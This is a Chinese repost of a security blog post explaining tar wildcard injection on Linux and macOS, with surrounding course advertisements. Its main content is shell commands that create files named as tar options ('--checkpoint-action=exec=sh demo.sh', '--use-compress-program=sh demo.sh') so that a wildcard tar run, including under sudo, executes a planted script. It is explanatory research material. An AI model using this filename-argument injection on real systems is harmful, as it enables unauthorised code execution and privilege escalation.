macOS — Tar 通配符注入

admin 2024年12月24日10:18:40评论8 views字数 1240阅读4分8秒阅读模式

Tar 通配符注入

在解决 HTB 和 THM 等平台上的挑战时,我遇到了几次通配符注入。

通配符注入的概念依赖于制作一个或多个名称为函数参数的文件,使用通配符的目标进程将扩展为实际参数。

虽然通配符注入本身并不是什么大问题,但在某些特定情况下,它可能会导致代码执行甚至权限提升。Linux 上一个众所周知的二进制文件容易受到使用通配符注入的代码执行的影响,它正在使用以下参数:tar--checkpoint

echo''>'--checkpoint-action=exec=sh demo.sh'
echo''>'--checkpoint=1'
chmod +x demo.sh
tar -cf demo.tgz *

macOS 的

该参数在 macOS 二进制文件中不存在。但是,在阅读了文档并测试了许多参数后,我注意到 能够执行 .在手册页上,此参数描述如下:--checkpointtar--use-compress-programsh

--use-compress-program program
通过程序传输输入(x 或 t 模式)或输出(c 模式),而不是使用内置的压缩支持。

设置文件

要设置 tar 通配符注入,需要创建两个文件。构建的参数和将要执行的脚本:

macOS — Tar 通配符注入

图 1:设置通配符注入的文件

示例代码创建一个临时目录,演示脚本将当前用户名写入该目录中的 proof 文件:

mkdir /tmp/tar
cd /tmp/tar
echo''>'--use-compress-program=sh demo.sh'
echo'whoami>>/tmp/tar/proof.txt'>demo.sh
chmod +x demo.sh

执行

当使用通配符在创建的目录中调用时,将执行脚本。如果这是使用 完成的,则会导致权限提升:tardemo.shsudo

macOS — Tar 通配符注入

图 2:使用通配符执行 tar

示例代码:

sudo tar cvzf demo.tgz *
cat /tmp/tar/proof.txt

虽然与 Linux 相比,在 macOS 上使用通配符执行的计划任务可能有点罕见,但如上所示,可以使用通配符注入来执行我们自己的代码。tar

来源

  • https://ss64.com/mac/tar.html

原文发布于 https://pampuna.nl/blog/2024/12/macos-tar-wildcard-injection.html

其它相关课程

macOS — Tar 通配符注入
macOS — Tar 通配符注入
macOS — Tar 通配符注入
macOS — Tar 通配符注入

详细目录

mac/ios安全视频

macOS — Tar 通配符注入

QT开发底层原理与安全逆向视频教程

macOS — Tar 通配符注入
  • macOS — Tar 通配符注入
  • macOS — Tar 通配符注入

linux文件系统存储与文件过滤安全开发视频教程(2024最新)

macOS — Tar 通配符注入

linux高级usb安全开发与源码分析视频教程

macOS — Tar 通配符注入

linux程序设计与安全开发

macOS — Tar 通配符注入
  • windows恶意软件开发与对抗视频教程

  • macOS — Tar 通配符注入
  • macOS — Tar 通配符注入
  • windows

  • macOS — Tar 通配符注入
  • windows()

  • macOS — Tar 通配符注入
  • USB()

  • macOS — Tar 通配符注入
  • ()

  • macOS — Tar 通配符注入
  • ios

  • macOS — Tar 通配符注入
  • windbg

  • macOS — Tar 通配符注入
  • ()

  • macOS — Tar 通配符注入macOS — Tar 通配符注入macOS — Tar 通配符注入

  • macOS — Tar 通配符注入

rust语言全栈开发视频教程

macOS — Tar 通配符注入
  • macOS — Tar 通配符注入
  • macOS — Tar 通配符注入

原文始发于微信公众号(安全狗的自我修养):macOS — Tar 通配符注入

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月24日10:18:40
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   macOS — Tar 通配符注入https://cn-sec.com/archives/3545669.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息